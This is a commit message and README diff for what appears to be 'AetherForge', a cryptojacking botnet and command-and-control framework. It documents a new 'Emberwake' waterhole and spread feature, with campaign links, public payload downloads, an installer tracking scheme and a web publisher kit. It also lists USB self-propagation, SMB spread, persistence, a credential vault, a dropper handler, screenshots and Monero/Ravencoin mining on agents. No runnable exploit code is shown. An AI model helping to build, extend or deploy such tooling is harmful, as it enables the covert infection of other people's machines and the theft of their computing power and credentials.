feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

README.md

@@ -121,6 +121,14 @@ Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtim
 - Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
 - CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently
 
+### Emberwake (spread / waterhole)
+
+- **Dashboard tab** `/emberwake` — campaign link builder, A/B `?pin=` rotation, spread-kit ZIP export, shared operator notes (WebSocket sync)
+- **Public builds** — login page drawer + `GET /api/v1/public/builds` / `GET /api/v1/public/download/{id}` (pinned + public-flagged + latest 3; or all when `server.public_builds_enabled`)
+- **Waterhole kit** — `spread-kit-web-publisher/` static templates; customize via `POST /api/v1/builder/spread-kit-export` (auth)
+- **Campaign tracking** — `?c=slug` on `/get`, `/install.ps1`, `/install.sh`, `/install.command`; agents report `AETHER_CAMPAIGN` on connect
+- **Forge simple mode** — spread profile chips: Web Drop, Desktop Fusion, LAN Kindling, Crucible Ops
+
 ### USB Perpetual Self-Propagation
 
 Enable **USB Propagation** in the Forge. The baked binary:
@@ -384,7 +392,8 @@ crypto miner/
 ├── LAUNCH.bat                  ← portable/USB launch script
 ├── scripts/
 │   ├── test-suite.ps1          ← Go + web + build + Playwright E2E
-│   └── smoke-test.ps1          ← API matrix B-01–B-10
+│   ├── smoke-test.ps1          ← API matrix B-01–B-10
+│   └── e2e-validate.ps1        ← mining + CI + VM payload checklist
 ├── bin/
 │   └── miner-server.exe
 ├── data/                       ← config, DB, builds, preps, logs, users.json
@@ -403,6 +412,7 @@ crypto miner/
 │   └── config/                 ← builtin config baked at forge time
 ├── fusion/                     ← prep + movie runner source
 ├── tests/README.md             ← test phases, E2E env vars
+├── docs/E2E_VALIDATION.md      ← secure payload validation playbook
 ├── PROBLEMS.md                 ← known issues (severity-ranked)
 └── README.md                   ← you are here
 ```
@@ -499,6 +509,17 @@ Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFO
 
 With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10).
 
+### Secure local payload validation
+
+Full Windows payload tests (spread, screenshot, GPU, persistence) need a **disposable Hyper-V/VMware Windows VM** — not Docker Windows containers. Automated mining/C2 regression stays on the host.
+
+```powershell
+.\scripts\e2e-validate.ps1              # Tier 0–1 + VM checklist
+.\scripts\e2e-validate.ps1 -PrepareOnly # isolated data-e2e\ + instructions
+```
+
+Playbook (tier matrix, Crucible checklist, log paths, snapshot teardown): [`docs/E2E_VALIDATION.md`](docs/E2E_VALIDATION.md).
+
 ### Dashboard dev server
 
 ```bat